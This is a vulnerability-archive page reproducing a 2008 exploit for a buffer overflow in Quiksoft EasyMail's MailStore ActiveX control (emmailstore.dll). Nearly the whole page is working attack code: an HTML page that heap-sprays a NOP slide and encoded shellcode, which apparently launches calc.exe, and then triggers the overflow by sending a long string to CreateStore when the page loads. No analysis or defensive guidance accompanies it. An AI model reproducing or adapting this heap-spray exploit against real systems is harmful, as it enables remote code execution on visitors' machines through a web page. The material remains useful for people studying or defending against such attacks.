EasyMail Active-X Buffer Overflow Exploit

🗓️ 09 Dec 2008 00:00:00Reported by shinnaiType

packetstorm🔗 packetstormsecurity.com👁 27 Views

EasyMail Active-X Buffer Overflow Exploi

`################ EasyMail ActiveX Heap Spray Exploit ############  
  
By: e.wiZz! & shinnai  
Site: infected.blogger.ba & shinnai.net  
  
  
#######Info: #########################################  
  
CompanyName Quiksoft Corporation  
FileDescription EasyMail MailStore Object  
FileVersion 6, 5, 0, 3  
Vulnerable file emmailstore.dll  
  
  
  
<html>   
<script language="JavaScript" defer>   
var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +   
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +   
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +   
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +   
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +   
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +   
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +   
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +   
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +   
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +   
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +   
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +   
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +   
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +   
"%u652E%u6578%u9000");   
var sSlide = unescape("%u9090%u9090");   
var heapSA = 0x0c0c0c0c;   
function tryMe()   
{   
var buffSize = 3000;   
var x = unescape("%0c%0c%0c%0c");   
while (x.length<buffSize) x += x;   
x = x.substring(0,buffSize);   
boom.CreateStore(x, 1);   
}   
function getsSlide(sSlide, sSlideSize)   
{   
while (sSlide.length*2<sSlideSize)   
{   
sSlide += sSlide;   
}   
sSlide = sSlide.substring(0,sSlideSize/2);   
return (sSlide);   
}   
var heapBS = 0x400000;   
var sizeHDM = 0x5;   
var PLSize = (sCode.length * 2);   
var sSlideSize = heapBS - (PLSize + sizeHDM);   
var heapBlocks = (heapSA+heapBS)/heapBS;   
var memory = new Array();   
sSlide = getsSlide(sSlide,sSlideSize);   
for (i=0;i<heapBlocks;i++)   
{   
memory[i] = sSlide + sCode;   
}   
</script>   
<body onload="JavaScript: return tryMe();">   
<object id="boom" classid="clsid:5B8BE023-76A2-4F6D-8993-F7E588D79D98">   
By e.wiZz! & shinnai   
</object>   
</body>   
</html>  
  
`

09 Dec 2008 00:00Current

0.8Low risk

Vulners AI Score0.8